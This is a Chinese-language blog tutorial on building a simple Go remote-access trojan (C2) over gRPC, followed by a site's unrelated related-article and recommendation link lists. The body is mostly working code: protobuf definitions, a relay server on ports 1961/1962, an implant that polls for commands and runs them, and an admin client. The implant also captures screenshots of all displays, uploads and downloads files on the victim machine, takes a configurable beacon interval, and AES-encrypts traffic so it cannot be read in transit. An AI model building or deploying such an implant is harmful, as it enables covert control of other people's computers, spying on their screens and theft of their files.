基于gRPC编写golang简单C2远控
概述
构建一个简单的远控木马需要编写三个独立的部分:植入程序、服务端程序和管理程序。
植入程序是运行在目标机器上的远控木马的一部分。植入程序会定期轮询服务器以查找新的命令,然后将命令输出发回给服务器。
管理程序是运行在用户机器上的客户端,用于发出实际的命令。
服务端则负责与植入程序和客户端的交互,接收客户端的指令,并在植入程序请求时,将命令发送给植入程序,随后将植入程序发送来的结果传递给客户端。
gRPC
这里通过gRPC构建所有的网络交互。
关于gRPC、Protobuf、protoc请参考https://www.zhihu.com/question/286825709
gRPC是由google创建的一个高性能远程过程调用(RPC)框架。RPC框架允许客户端通过标准和定义的协议与服务器进行通信,而不必了解底层的任何细节。gRPC基于HTTP/2运行,以一种高效的二进制结构传递消息。gRPC默认的序列方式是Protobuf。
定义和构造gRPC API
这里使用Protobufs来定义API
Service
在proto文件中定义了两个service,分别对应植入程序服务端和管理程序服务端。
在植入程序服务中,定义了三个方法FetchCommand
、SendOutput
和GetSleepTime
。
FetchCommand:将从服务器检索所有为执行的命令
SendOutput:会将一个Command消息发送服务器
GetSleepTime:从服务端检索sleep时间间隔
在管理程序服务中,定义的两个方法RunCommand
和SetSleepTime
RunCommand:接收一个Command消息作为参数,并期望获读回一个Command消息
SetSleepTime:向服务器发送一个SleepTime消息作为时间间隔
Message
最后看到定义的三个message Command
、SleepTime
和Empty
Command:消息中的两个参数分别代表了输入的命令和命令对应的结果。都为string类型,要说明的是后面两个数字是代表了消息本身两个字段出现的偏移量,也就是In将首先出现,然后是Out。
SleepTime:唯一 一个字段就是用来标明休眠时间间隔的
Empty:用来代替null的空消息 定义这个Empty类型是由于gRPC不显式地允许空值
syntax = "proto3";
package grpcapi;
option go_package = "./grpcapi";
service Implant {
rpc FetchCommand (Empty) returns (Command);
rpc SendOutput (Command) returns (Empty);
rpc GetSleepTime(Empty) returns (SleepTime);
}
service Admin {
rpc RunCommand (Command) returns (Command);
rpc SetSleepTime(SleepTime) returns (Empty);
}
//Command消息包含两个字段,一个用于维护操作系统的命令;一个用于维护命令执行的输出
message Command {
string In = 1;
string Out = 2;
}
message SleepTime {
int32 time = 1;
}
//Empty 用来代替null的空消息 定义这个Empty类型是由于gRPC不显式地允许空值
message Empty {
}
编译proto文件
对于Golang使用如下命令编译.proto
文件。会根据你的.proto
文件生成Go文件。
这个生成的新文件回包含Protobuf模式中创建的服务和消息的结构和结构体定义。后续将利用它构造服务端、植入程序和客户端。
protoc --go_out=./ --go-grpc_opt=require_unimplemented_servers=false --go-grpc_out=./ *.proto
实现
创建服务端
首先,创建两个结构体adminServer
和implantServer
,它们都包含两个Command通道,用于发送和接收命令以及命令的输出。这两个结构体会实现gRPC API中定义的服务端接口。并且需要为这两个结构体定义辅助函数NewAdminServer
和NewImplantServer
,用于创建新的实例,可以确保通道正确的初始化。
type implantServer struct {
work, output chan *grpcapi.Command
}
type adminServer struct {
work, output chan *grpcapi.Command
}
func NewImplantServer (work, output chan *grpcapi.Command) *implantServer {
s := new(implantServer)
s.work = work
s.output = output
return s
}
func NewAdminServer (work, output chan *grpcapi.Command) *adminServer {
s := new(adminServer)
s.work = work
s.output = output
return s
}
implantServer
对于植入程序服务端,需要实现的方法有FetchCommand()
、SendOutput()
和GetSleepTime()
FetchCommand:植入程序将调用方法FetchCommand作为一种轮询机制,它会询问“有工作给我吗?”。在代码中,将根据select语句,当work通道中有数据时会从中读取数据到实例化的Command中,并返回。如果没有读取到数据,就会返回一个空的Command。
func (s *implantServer) FetchCommand(ctx context.Context, empty *grpcapi.Empty) (*grpcapi.Command, error) {
var cmd = new(grpcapi.Command)
select {
case cmd, ok := <-s.work:
if ok {
return cmd, nil
}
return cmd, errors.New("channel closed")
default:
return cmd, nil
}
}
SendOutput:将接收一个Command,其中包含了从植入程序中获取的命令执行的结果。并将这个Command推送到output通道中,以便管理程序的后续读取。
func (s *implantServer) SendOutput (ctx context.Context, result *grpcapi.Command) (*grpcapi.Empty, error) {
s.output <- result
fmt.Println("result:" + result.In + result.Out)
return &grpcapi.Empty{}, nil
}
*GetSleepTime:植入程序在每次sleep之前就会调用此方法,向服务端询问sleep的时间。这个方法将返回从变量sleepTIme中读取到的数据。
func (s *implantServer) GetSleepTime(ctx context.Context, empty *grpcapi.Empty) (*grpcapi.SleepTime, error) {
time := new(grpcapi.SleepTime)
time.Time = sleepTime
return time,nil
}
adminServer
对于管理程序服务端,需要实现的方法有RunCommand
和SetSleepTime
RunCommand:该方法接收一个尚未发送到植入程序的Command,它表示管理程序希望在植入程序上执行的工作。并将工作发送给work通道。因为使用无缓冲的通道,该操作将会阻塞程序的执行,但同时又需要从output通道中接收数据,因此使用goroutine将工作放入work通道中。
调用这个方法时,会将命令发送给服务端,并等待植入程序执行完后的发送回的结果。
func (s *adminServer) RunCommand(ctx context.Context, cmd *grpcapi.Command) (*grpcapi.Command, error) {
fmt.Println(cmd.In)
var res *grpcapi.Command
go func() {
s.work <- cmd
}()
res = <- s.output
return res, nil
}
SetSleepTime:管理程序客户端调用此方法,将从命令行输入的时间发送给服务端后,设置到sleepTIme变量中
func (s *adminServer) SetSleepTime(ctx context.Context, time *grpcapi.SleepTime) (*grpcapi.Empty, error) {
sleepTime = time.Time
return &grpcapi.Empty{}, nil
}
main函数部分
main函数首先使用相同的work和output通道实例化implantServer和adminServer。通过相同的通道实例,可以是管理程序服务端和植入程序服务端通过此共享通道进行通信。
接下来,为每个服务启动网络监听器,将implantListener绑定到1961端口,将adminListener绑定到1962端口。最后创建两个gRPC服务器。
func main() {
var (
implantListener, adminListener net.Listener
err error
opts []grpc.ServerOption
work, output chan *grpcapi.Command
)
work, output = make(chan *grpcapi.Command), make(chan *grpcapi.Command)
//植入程序服务端和管理程序服务端使用相同的通道
implant := NewImplantServer(work, output)
admin := NewAdminServer(work, output)
//服务端建立监听,植入服务端与管理服务端监听的端口分别是1961和1962
if implantListener,err = net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", 1961)); err != nil {
log.Fatalln("implantserver"+err.Error())
}
if adminListener,err = net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", 1962)); err != nil {
log.Fatalln("adminserver"+err.Error())
}
//服务端设置允许发送和接收数据的最大限制
opts = []grpc.ServerOption{
grpc.MaxRecvMsgSize(1024*1024*12),
grpc.MaxSendMsgSize(1024*1024*12),
}
grpcAdminServer, grpcImplantServer := grpc.NewServer(opts...), grpc.NewServer(opts...)
grpcapi.RegisterImplantServer(grpcImplantServer, implant)
grpcapi.RegisterAdminServer(grpcAdminServer, admin)
//使用goroutine启动植入程序服务端,防止代码阻塞,毕竟后面还要开启管理程序服务端
go func() {
grpcImplantServer.Serve(implantListener)
}()
grpcAdminServer.Serve(adminListener)
}
创建植入程序和管理程序
植入程序
// WithInsecure 忽略证书
opts = append(opts, grpc.WithInsecure())
//设置发送和接收数据的最大限制
opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(1024 * 1024 * 12 )))
opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallSendMsgSize(1024 * 1024 * 12)))
//连接到指定服务器的指定端口
if conn,err = grpc.Dial(fmt.Sprintf("127.0.0.1:%d",1961), opts...); err != nil {
log.Fatal(err)
}
defer conn.Close()
client = grpcapi.NewImplantClient(conn)
ctx := context.Background()
//使用for循环来轮询服务器
for {
var req = new(grpcapi.Empty)
cmd, err := client.FetchCommand(ctx, req)
if err != nil {
log.Fatal(err)
}
//如果没有要执行的命令就进入sleep
if cmd.In == "" {
//sleep之前向服务器询问sleep的时间
t,_ := client.GetSleepTime(ctx,req)
fmt.Println("sleep"+t.String())
time.Sleep(time.Duration(t.Time)* time.Second)
continue
}
//从服务端获取到命令后先进行解密处理
command, _ := util.DecryptByAes(cmd.In)
//根据空格截取命令
tokens := strings.Split(string(command), " ")
.......
}
管理程序
// 设置命令行参数
flag.IntVar(&sleepTime,"sleep",0,"sleep time")
flag.StringVar(&session,"session","","start session")
flag.StringVar(&ip,"ip","127.0.0.1","Server IP")
flag.StringVar(&port,"port","1961","Server IP")
flag.Parse()
if session != "" {
//输入session参数,并且参数值为start,开执行命令
if session == "start" {
// WithInsecure 忽略证书
opts = append(opts, grpc.WithInsecure())
//设置发送和接收数据的最大限制
opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(1024 * 1024 * 12 )))
opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallSendMsgSize(1024 * 1024 * 12)))
//连接到指定服务器的指定端口
if conn,err = grpc.Dial(fmt.Sprintf("%s:%s",ip, port),opts...);
err != nil {
log.Fatal(err)
}
defer conn.Close()
client = grpcapi.NewAdminClient(conn)
fmt.Println("start exec:")
//通过for循环来不断向控制台输入命令
for {
var cmd = new(grpcapi.Command)
//go中scan、scanf、scanln在输入时都会将空格作为一个字符串的结束,因此不能使用这些来键入我们的命令
//获取用户输入的命令
reader := bufio.NewReader(os.Stdin)
command, _, err := reader.ReadLine()
if nil != err {
fmt.Println("reader.ReadLine() error:", err)
}
//根据空格截取输入的命令,以进行后续的判断
flags := strings.Split(string(command)," ")
......
} else {
fmt.Println("please input start")
}
}
sleep时间
自定义回连时间:也就是允许自定义植入程序轮询服务器的时间间隔。
植入程序这里轮询时间间隔是通过sleep函数实现的,而实现自定义这个功能则是植入程序在sleep之前会向服务端询问sleep的时间。
//如果没有要执行的命令就进入sleep
if cmd.In == "" {
//sleep之前向服务器询问sleep的时间
t,_ := client.GetSleepTime(ctx,req)
fmt.Println("sleep"+t.String())
time.Sleep(time.Duration(t.Time)* time.Second)
continue
}
管理程序客户端可以通过命令行参数sleep来设置休眠时间,单位为秒。
//根据命令行键入sleep参数的值进行设置sleep时间,如果没有键入sleep参数默认为0
if sleepTime != 0 {
var time = new(grpcapi.SleepTime)
time.Time = int32(sleepTime)
ctx := context.Background()
client.SetSleepTime(ctx,time)
}
截图
截图功能实现
截图功能借助于 github.com/kbinani/screenshot
实现
植入端获取到截图命令后,会先获取当前屏幕的数量,并根据顺序进行截图,并将图片存放到[]byte
字节切片中,进行加密编码后发出。
//输入的命令为screenshot 就进入下面的流程
if tokens[0] == "screenshot" {
images := util.Screenshot()
for _,image := range images {
result,_ := util.EncryptByAes(util.ImageToByte(image))
cmd.Out += result
cmd.Out += ";"
}
client.SendOutput(ctx, cmd)
continue
}
//util.Screenshot() 截图
func Screenshot() []*image.RGBA {
var images []*image.RGBA
//获取当前活动屏幕数量
i := screenshot.NumActiveDisplays()
if i == 0 {
}
for j :=0; j <= i-1; j++ {
image,_ := screenshot.CaptureDisplay(j)
images = append(images, image)
}
return images
}
//util.ImageToByte() 图片转字节切片
func ImageToByte(image *image.RGBA) []byte{
buf := new(bytes.Buffer)
png.Encode(buf,image)
b := buf.Bytes()
return b
}
上传文件
上传文件,要求输入的格式为 upload 本地文件 目标文件
。
管理程序会根据输入的本地文件,将本地文件读取到[]byte
字节切片当中,并进行AES加密和BASE64编码。也就是说最终向服务端传递的数据将变成经过加密、编码后的字符串。这里会将这个字符串存放在Command.Out中。这里可能游戏额难以理解,command.Out不是用来存放执行结果的吗?其实在服务端中,会将管理程序客户端的命令放到work中,然后将植入程序执行完以后会才会将结果封装在command.Out,而在这之前command.Out是空的。这里上传文件实际上是在管理程序客户端时“借用”command.Out的位置,将要上传的数据与上传命令一起发送给植入程序。
这里根据前面提到的,设置最大上传数据为12MB,但要注意的上传文件会经过aes加密与base64编码,因此12MB指经过加密后的数据大小,实际上允许上传的数据要小于12MB。下载同理。
if flags[0] == "upload" {
if len(flags) != 3 || flags[2] == "" {
fmt.Println("输入格式为:upload 本地文件 目标文件")
continue
}
file, err := os.ReadFile(flags[1])
if err != nil {
fmt.Println(err.Error())
continue
}
//将数据存放在Command.Out中
cmd.Out,err = util.EncryptByAes(file)
if err != nil {
log.Fatal(err.Error())
}
cmd = Run(cmd,command,client)
out,err := util.DecryptByAes(cmd.Out)
if err != nil {
log.Fatal(err.Error())
}
fmt.Println(string(out))
continue
}
植入端程序将根据cmd.in
中输入的命令判断是否为上传指令。判断为上传指令后,将会对cmd.out
中保存的字符串数据进行解密后写入到用户指定的目标文件当中。
//匹配上传命令
if tokens[0] == "upload" {
file,_ := util.DecryptByAes(cmd.Out)
err := os.WriteFile(tokens[2],file,0666)
if err != nil{
cmd.Out,_ = util.EncryptByAes([]byte(err.Error()))
client.SendOutput(ctx, cmd)
} else {
cmd.Out,_ = util.EncryptByAes([]byte("upload success!"))
client.SendOutput(ctx, cmd)
}
continue
}
下载文件
下载文件, 要求输入的格式为download 目标文件 本地文件
。
客户端将下载命令发送给服务端。客户端会从cmd.out
中读取到数据后解密,并根据用户输入的本地文件写入文件。
if flags[0] == "download" {
if len(flags) != 3 || flags[2] == "" {
fmt.Println("输入格式为:download 目标文件 本地文件")
continue
}
//发送命令
cmd = Run(cmd,command,client)
file, err := util.DecryptByAes(cmd.Out)
if err != nil {
log.Fatal(err.Error())
}
if string(file[0:13]) == "download err!" {
fmt.Println(string(file[0:13]))
continue
}
err = os.WriteFile(flags[2],file,0666)
if err != nil {
fmt.Println(err.Error())
}else {
fmt.Println("download success! Path:" + flags[2])
}
continue
}
当植入程序询问到该命令之后,会将用户输入的目标文件读取到[]byte
字节切片当中,与上传文件类似地,进行加密编码以字符串形式存放到cmd.Out中经服务端发送给客户端。
//匹配下载命令
if tokens[0] == "download" {
file,err := os.ReadFile(tokens[1])
if err != nil {
cmd.Out,_ = util.EncryptByAes([]byte("download err! "+err.Error()))
client.SendOutput(ctx, cmd)
}else {
cmd.Out,_ = util.EncryptByAes(file)
_,err2 := client.SendOutput(ctx, cmd)
if err2 != nil {
fmt.Println(err2.Error())
}
}
continue
}
编码问题
go的编码是UTF-8,而CMD的活动页是GBK编码的,因此使用GoLang进行命令执行时,对于命令执行结果返回的中文会产生乱码的现象。
虽然在植入程序中会执行命令,但是在通过植入程序再向服务端发送结果时由于包含乱码,植入程序向服务端发送的数据为空。(因此服务端就没有接收这个数据),result中没有数据,所以植入程序的服务端在向output输入数据时会阻塞。由于管理服务端和植入程序服务端共享通道,output中没有数据,进而引发管理服务端也阻塞(直到output中有数据)。
中文乱码问题的解决依赖于golang.org/x/text/encoding/simplifiedchinese
当然在解决掉乱码问题后,这一问题也就消失了。
type Charset string
const (
UTF8 = Charset("UTF-8")
GB18030 = Charset("GB18030")
)
func ConvertByte2String(byte []byte, charset Charset) string {
var str string
switch charset {
case GB18030:
decodeBytes, _ := simplifiedchinese.GB18030.NewDecoder().Bytes(byte)
str = string(decodeBytes)
case UTF8:
fallthrough
default:
str = string(byte)
}
return str
}
流量加密
对于所有的C2程序都应该加密其网络流量,这对于植入程序和服务器之间的通信尤为重要。通过截取流量,可以看到植入程序和服务端的数据是明文的。对于解决这个问题,可以提供得是两种选择,一是对我们传输得数据进行加密如异或、AES加密,在传输过程中使用密文传递;二是使用TLS技术。
如下为未加密前流量
当前使用AES+BAES64编码来进行加密
aes加密和base64编码参考:https://blog.csdn.net/dodod2012/article/details/117706402
管理程序客户端获取到用户从命令行键入的命令,将对这个命令进行base64+aes加密,再发送给服务端。服务端接收到这个消息后,直接将消息写入通道中。
待植入程序客请求服务端时,就会读取到这段密文,进行解密后执行命令,并将执行的结果进行加密发送给服务端。最终管理程序会从结果通道中读取到执行的结果,解密后并进行编码格式的转变,输出到控制台。这相比于明文传输就安全多了。如下为加密后的流量
基于gRPC编写golang简单C2远控的更多相关文章
- 使用CEF(二)— 基于VS2019编写一个简单CEF样例
使用CEF(二)- 基于VS2019编写一个简单CEF样例 在这一节中,本人将会在Windows下使用VS2019创建一个空白的C++Windows Desktop Application项目,逐步进 ...
- 【VS开发】 自己编写一个简单的ActiveX控件——详尽教程
最近开始学ActiveX控件编程,上手不太容易,上网想找相关教程也没合适的,最后还是在师哥的指导下完成了第一个简单控件的开发,现在把开发过程贴出来与大家分享一下~ (环境说明--平台:vs2005:语 ...
- Koadic的安装和使用---http c2远控工具
Koadic的安装和使用 2017.11.26 11:02 字数 690 阅读 611评论 0喜欢 2 概述 Koadic是DEFCON分型出来的一个后渗透工具,主要通过vbscript.jscr ...
- 【逆向&编程实战】Metasploit中的安卓载荷凭什么吊打SpyNote成为安卓端最强远控
文章作者:MG1937 QQ:3496925334 CNBLOG:ALDYS4 未经许可,禁止转载 前言 说起SpyNote大家自然不陌生,这款恶意远控软件被利用在各种攻击场景中 甚至是最近也捕获到了 ...
- 用nc+简单bat/vbs脚本+winrar制作迷你远控后门
前言 某大佬某天和我聊起了nc,并且提到了nc正反向shell这个概念. 我对nc之前的了解程度仅局限于:可以侦听TCP/UDP端口,发起对应的连接. 真正的远控还没实践过,所以决定写个小后门试一试. ...
- 基于gulp编写的一个简单实用的前端开发环境好了,安装完Gulp后,接下来是你大展身手的时候了,在你自己的电脑上面随便哪个地方建一个目录,打开命令行,然后进入创建好的目录里面,开始撸代码,关于生成的json文件请点击这里https://docs.npmjs.com/files/package.json,打开的速度看你的网速了注意:以下是为了演示 ,我建的一个目录结构,你自己可以根据项目需求自己建目
自从Node.js出现以来,基于其的前端开发的工具框架也越来越多了,从Grunt到Gulp再到现在很火的WebPack,所有的这些新的东西的出现都极大的解放了我们在前端领域的开发,作为一个在前端领域里 ...
- 基于gulp编写的一个简单实用的前端开发环境
自从Node.js出现以来,基于其的前端开发的工具框架也越来越多了,从Grunt到Gulp再到现在很火的WebPack,所有的这些新的东西的出现都极大的解放了我们在前端领域的开发,作为一个在前端领域里 ...
- 基于qml创建最简单的图像处理程序(1)-基于qml创建界面
<基于qml创建最简单的图像处理程序>系列课程及配套代码基于qml创建最简单的图像处理程序(1)-基于qml创建界面http://www.cnblogs.com/jsxyhelu/p/83 ...
- 基于gin的golang web开发:docker
Golang天生适合运行在docker容器中,这得益于:Golang的静态编译,当在编译的时候关闭cgo的时候,可以完全不依赖系统环境. 一些基础 测试容器时我们经常需要进入容器查看运行情况,以下命令 ...
随机推荐
- Android 4.4系统,User模式adb默认开启,取消授权,开启root调试记录
开启User模式adb,取消授权,修改如下: 1. /build/core/main.mk 修改以下内容 ifeq (true,$(strip $(enable_target_debugging)) ...
- Java实现飞机大战游戏
飞机大战详细文档 文末有源代码,以及本游戏使用的所有素材,将plane2文件复制在src文件下可以直接运行. 实现效果: 结构设计 角色设计 飞行对象类 FlyObject 战机类 我的飞机 MyPl ...
- RabbitMQ 环境安装
每日一句 Wisdom is knowing what to do next, skill is knowing how to do it, and virtue is doing it. 智慧是知道 ...
- 主管发话:一周搞不定用友U8 ERP跨业务数据分析,明天就可以“毕业”了
随着月末来临,又到了汇报总结的时刻. (图片来自网络) 到了这个特殊时期,你的老板就一定想要查看企业整体的运转情况.销售业绩.客户实况分析.客户活跃度.Top10 sales. 产品情况.订单处理情况 ...
- .NET C#基础(1):相等性与同一性判定 - 似乎有点小缺陷的设计
0. 文章目的 本文面向有一定.NET C#基础知识的学习者,介绍在C#中的常用的对象比较手段,并提供一些编码上的建议. 1. 阅读基础 1:理解C#基本语法与基本概念(如类.方法.字段与变量声明 ...
- 计算机环境变量的配置,以java为例以及eclipse简要设置
安装JDK时可以不安装公共jre.因为好多软件和浏览器已经默认自带的jre了,或者自动调用系统的了. 在java 中需要设置三个环境变量(1.5之后不需要再设置CLASSPATH了,但需要的话可以设置 ...
- CSCMS代码审计
很久之前审的了. 文章首发于奇安信攻防社区 https://forum.butian.net/share/1626 0x00 前言 CSCMS是一款强大的多功能内容管理系统,采用php5+mysql进 ...
- BUUCTF-后门查杀
后门查杀 后门查杀这种题最好还是整个D盾直接扫描目录方便. 查看文件得到flag
- javaEE-IDEA创建项目-使用Mybatis
新建项目 点Next之后给项目命名 创建如下文件夹以及文件 修改pom.xml, 加入 <dependencies> <!-- junit单元测试 --> <depend ...
- SAP 实例 13 Random Grouping with LOOP
REPORT demo_loop_group_by_random. CLASS demo DEFINITION. PUBLIC SECTION. CLASS-METHODS: main, class_ ...